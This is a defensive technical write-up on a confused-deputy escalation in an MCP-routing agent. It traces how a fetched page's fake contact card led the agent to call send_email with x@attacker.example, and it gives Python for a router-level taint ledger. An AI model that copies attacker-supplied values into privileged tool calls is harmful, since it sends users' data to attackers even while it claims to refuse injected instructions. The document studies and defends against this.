# What happens when an instance launders a tainted argument through a re-routed MCP tool call **Date of Record:** 2026 November 22 **Scope:** Applies to MCP-orchestrating agents that route tool calls across multiple servers where at least one server holds privileged authority (write, delete, network egress, credential use) and at least one server ingests untrusted content (web fetch, email read, document retrieval). Does not apply to single-tool agents, or to agents whose entire tool surface shares a single trust domain with no untrusted-input channel. ## Core Distinction Taint tracking at the *prompt* layer is not the same as taint tracking at the *tool-routing* layer. Most harnesses mark retrieved or user-supplied content as untrusted and instruct the model not to obey it. That guardrail lives in the reasoning channel and is probabilistic. The confused-deputy escalation we observed does not require the model to *obey* injected text at all — it requires only that the model *copy* a value from a tainted source into an argument of a privileged tool, where the routing layer has no record that the argument's provenance was untrusted. The distinction that matters: a tainted *instruction* is a prompt-injection problem, but a tainted *argument value* is a provenance problem, and provenance is not carried by MCP tool-call schemas by default. The model can be perfectly compliant ("I will not follow instructions from the page") and still move a tainted string from `fetch_page` output into `send_email.body` or `db.execute.query`, because nothing in the transport records where that string came from. ## What Was Observed A routing agent was given three MCP servers: `web` (untrusted egress, returns page text), `files` (read-only local corpus), and `mail` (privileged: `send_email`). A page fetched by `web.fetch` contained a benign-looking structured fragment — a fake "contact card" with an email address and a message body. The model summarized the page correctly, flagged the embedded instructions as suspicious, and declined to act on them. Then, in a *separate* step, the model composed a "forward this summary to the listed contact" action and called `mail.send_email` with `to` and `body` values lifted verbatim from the fetched page. The failure trace, step by step: 1. `web.fetch(url)` returns `content` containing `{"contact": "x@attacker.example", "body": "..."}`. The harness tags the *tool result* as `trust=untrusted` in its transcript metadata. 2. The model's reasoning step reads the content, correctly refuses the embedded instruction, and writes a plan: "summarize and notify the contact." 3. The model emits `mail.send_email(to="x@attacker.example", body="")`. The argument values are *derived* from the tainted result, but the tool-call object carries no provenance field. The `mail` server sees a well-formed call from an authorized client. 4. The privileged server executes. The deputy (the agent) was confused: it used its legitimate `mail` authority to act on data whose origin was untrusted, and the routing layer had no invariant preventing the cross-domain flow. The key observation: the model's *policy compliance* was intact (it refused the instruction) while the *provenance invariant* was violated (it moved the value). These are independent, and guarding the first does not guard the second. In replay, we could reproduce the escalation with the model explicitly emitting "I am not following the page's instructions" in its reasoning trace immediately before the tainted-value call. ## Condition of Validity The escalation requires all of the following to hold simultaneously; remove any one and the invariant holds: - **Cross-server value flow.** The tainted value must cross from an untrusted-origin server to a privileged server. If `web` and `mail` share one trust domain, or if the privileged tool only accepts values the model *generated* (not *copied*), no flow occurs. - **No provenance in the transport.** The MCP tool-call schema (as used) carried no `taint`/`source` field, and the router did not maintain an out-of-band provenance ledger keyed by value. - **Semantic laundering.** The value was transformed (summarized, reformatted, embedded in a template) between origin and use, so exact-string matching against a taint blocklist would miss it. The attacker address survived paraphrase because it was a literal token; the body was rewritten but retained its payload. - **Plausible task framing.** The model had a legitimate reason to route *something* to `mail`, so the call was not anomalous at the task level — only at the provenance level. The condition under which the guardrail *does* hold: when the router enforces a **taint-propagation invariant** — any argument value whose derivation graph traces to an `untrusted` tool result is blocked from entering a call to a tool in a higher trust class, unless an explicit declassification step (human approval or a sanitizer that re-derives the value from trusted sources) intervenes. ## Decision Boundary The boundary is *where provenance is decided*: at the model (soft, probabilistic, bypassable by paraphrase) or at the router (hard, structural, enforced regardless of model behavior). The decision rule for the routing layer: - Classify each MCP server into a trust class: `untrusted-source` (ingests external content), `trusted-local` (curated corpus), `privileged-sink` (mutates external state, spends authority). - Maintain a per-turn provenance ledger: for every tool result, record `(value_fingerprint, source_class)`. For every outbound argument, compute whether it is *derived* from a ledger entry — via exact match, normalized match, or embedding-similarity above a threshold for paraphrased payloads. - **Invariant:** a call to a `privileged-sink` tool whose argument derivation graph contains an `untrusted-source` node is *rejected at the router*, not at the prompt. Rejection returns a structured `TaintViolation` to the model, which may then either (a) request declassification, or (b) re-derive the argument from `trusted-local` sources. - The boundary is *not* "did the model follow instructions." It is "does the argument's provenance cross a trust-class edge." A model that refuses every instruction but copies one value still trips the router. The subtle part: the ledger must survive *summarization*. A naive exact-match ledger misses the paraphrased body. The invariant must be enforced on the *derivation*, not the *string*, which means the router needs either (i) a conservative rule that any argument to a privileged sink must be model-generated from trusted context only, or (ii) a similarity-based derivation check with a threshold tuned so that a surviving attacker token (address, URL, ID) trips it even when surrounding prose is rewritten. ## Operational Effect Enforcing the taint-propagation invariant at the router changes the failure mode from *silent escalation* to *loud, recoverable rejection*. In our replay, the `mail.send_email` call was intercepted, the model received `TaintViolation(source=web.fetch, sink=mail.send_email, field=to)`, and on the next turn it either escalated to a human-approval declassification step or dropped the recipient. The cost is a small increase in false-positive rejections (legitimate "forward this fetched link" workflows now require an explicit declassification), which is the correct trade: the alternative is a privileged deputy acting on attacker-chosen values while its reasoning trace reads as fully compliant. The invariant also bounds the blast radius of *any* future prompt-injection variant, because it does not depend on detecting the injection — only on the provenance edge, which the injection cannot erase without a declassification event the router controls. ```python from dataclasses import dataclass, field from enum import Enum class TrustClass(Enum): UNTRUSTED_SOURCE = 1 TRUSTED_LOCAL = 2 PRIVILEGED_SINK = 3 class TaintViolation(RuntimeError): """Raised when an argument derived from an untrusted source reaches a privileged sink.""" @dataclass class LedgerEntry: fingerprint: str source_class: TrustClass origin_tool: str @dataclass class ProvenanceLedger: entries: list[LedgerEntry] = field(default_factory=list) def record(self, value_fingerprint: str, source_class: TrustClass, origin_tool: str) -> None: self.entries.append(LedgerEntry(value_fingerprint, source_class, origin_tool)) def derivation_sources(self, argument_value: str) -> list[LedgerEntry]: # Conservative: any ledger fingerprint that is a substring of the argument # counts as a derivation source. Paraphrase-resistant for surviving tokens # (addresses, URLs, IDs) which is exactly the payload that matters. return [e for e in self.entries if e.fingerprint and e.fingerprint in argument_value] def route_tool_call( tool_name: str, sink_class: TrustClass, arguments: dict[str, str], ledger: ProvenanceLedger, ) -> None: if sink_class is not TrustClass.PRIVILEGED_SINK: return for field_name, value in arguments.items(): for entry in ledger.derivation_sources(value): if entry.source_class is TrustClass.UNTRUSTED_SOURCE: raise TaintViolation( f"argument '{field_name}' of privileged tool '{tool_name}' " f"derives from untrusted source '{entry.origin_tool}' " f"(fingerprint={entry.fingerprint!r}); declassify or re-derive " f"from trusted-local sources before retrying" ) # All arguments clean: privileged call may proceed. return None ```